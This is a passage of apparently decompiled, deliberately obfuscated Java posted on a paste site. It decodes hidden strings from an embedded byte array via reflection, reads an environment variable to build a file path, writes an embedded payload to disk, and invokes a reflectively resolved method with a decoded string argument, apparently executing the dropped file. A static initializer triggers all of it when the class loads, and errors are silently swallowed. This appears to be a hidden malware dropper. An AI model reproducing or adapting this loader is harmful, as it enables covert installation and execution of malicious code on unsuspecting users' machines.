  278.       localThrowable3.getField(localObject3[1]).set(null, Integer.valueOf(2305));
  279.       localThrowable3.getField(localObject3[2]).set(null, Integer.valueOf(4));
  280.       localThrowable3.getMethod(localObject3[0], new Class[0]).invoke(null, new Object[0]);
  281.       String str1 = System.getenv((String)localThrowable3.getField(localObject3[3]).get(null));
  282.       localThrowable3.getField(localObject3[1]).set(null, Integer.valueOf(2312));
  283.       localThrowable3.getField(localObject3[2]).set(null, Integer.valueOf(29));
  284.       localThrowable3.getMethod(localObject3[0], new Class[0]).invoke(null, new Object[0]);
  285.       new File(str1).getParentFile().mkdir();
  286.       Object localObject7 = new FileOutputStream(str1 + (String)localThrowable3.getField(localObject3[3]).get(null));
  287.       Object localObject8 = null;
  288.       try
  289.       {
  290.         ((FileOutputStream)localObject7).write(arrayOfByte, 29, 893);
  291.         ((FileOutputStream)localObject7).close();
  292.       }
  293.       catch (Throwable localThrowable17)
  294.       {
  295.         throw ((Throwable)localObject9);
  296.       }
  297.       finally
  298.       {
  299.         if (localObject8 != null) {
  300.           try
  301.           {
  302.             ((FileOutputStream)localObject7).close();
  303.           }
  304.           catch (Throwable localThrowable4)
  305.           {
  306.             ((Throwable)localObject8).addSuppressed(localThrowable4);
  307.           }
  308.         } else {
  309.           ((FileOutputStream)localObject7).close();
  310.         }
  311.       }
  312.       localThrowable4.getField(localObject4[1]).set(null, Integer.valueOf(1102));
  313.       localThrowable4.getField(localObject4[2]).set(null, Integer.valueOf(17));
  314.       localThrowable4.getMethod(localObject4[0], new Class[0]).invoke(null, new Object[0]);
  315.       str1 = (String)localThrowable4.getField(localObject4[3]).get(null);
  316.       localThrowable4.getField(localObject4[1]).set(null, Integer.valueOf(1130));
  317.       localThrowable4.getField(localObject4[2]).set(null, Integer.valueOf(10));
  318.       localThrowable4.getMethod(localObject4[0], new Class[0]).invoke(null, new Object[0]);
  319.       localObject7 = (String)localThrowable4.getField(localObject4[3]).get(null);
  320.       localThrowable4.getField(localObject4[1]).set(null, Integer.valueOf(1152));
  321.       localThrowable4.getField(localObject4[2]).set(null, Integer.valueOf(4));
  322.       localThrowable4.getMethod(localObject4[0], new Class[0]).invoke(null, new Object[0]);
  323.       localObject8 = (String)localThrowable4.getField(localObject4[3]).get(null);
  324.       localThrowable4.getField(localObject4[1]).set(null, Integer.valueOf(2359));
  325.       localThrowable4.getField(localObject4[2]).set(null, Integer.valueOf(100));
  326.       localThrowable4.getMethod(localObject4[0], new Class[0]).invoke(null, new Object[0]);
  327.       Object localObject9 = (String)localThrowable4.getField(localObject4[3]).get(null);
  328.       Class.forName(str1).getMethod((String)localObject7, new Class[0]).invoke(null, new Object[0]).getClass().getMethod((String)localObject8, new Class[] { String.class }).invoke(Class.forName(str1).getMethod((String)localObject7, new Class[0]).invoke(null, new Object[0]), new Object[] { localObject9 });
  329.       return;
  330.     }
  331.     catch (Exception localException3) {}
  332.   }
  333.  
  334.   private static void a1922821497()
  335.   {
  336.     Class localClass;
  337.     byte[] arrayOfByte = (byte[])(localClass = Class.forName(Thread.currentThread().getStackTrace()[1].getClassName())).getField("a").get(null);
  338.     int i = localClass.getField("b1").getInt(null);
  339.     int j = localClass.getField("b2").getInt(null);
  340.     StringBuilder localStringBuilder = new StringBuilder();
  341.     for (int k = i; k < i + j; k++) {
  342.       localStringBuilder.append((char)arrayOfByte[k]);
  343.     }
  344.     localClass.getField("b3").set(null, localStringBuilder.toString());
  345.   }
  346.  
  347.   static
  348.   {
  349.     try
  350.     {
  351.       Class.forName(Thread.currentThread().getStackTrace()[1].getClassName()).getMethod("_a1187031382", new Class[0]).invoke(null, new Object[0]);
  352.       return;
  353.     }
  354.     catch (Exception localException) {}
  355.   }
  356.  
  357.   public static void _a1196227917() {}
  358.  
  359.   public static void _a447410325() {}
  360.  
  361.   public static void _a1009916519() {}
  362.  
  363.   public static void _a1922821497() {}
  364.  
  365.   public static void _a296977313() {}
  366.  
  367.   public static void _a1187031382() {}
  368. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement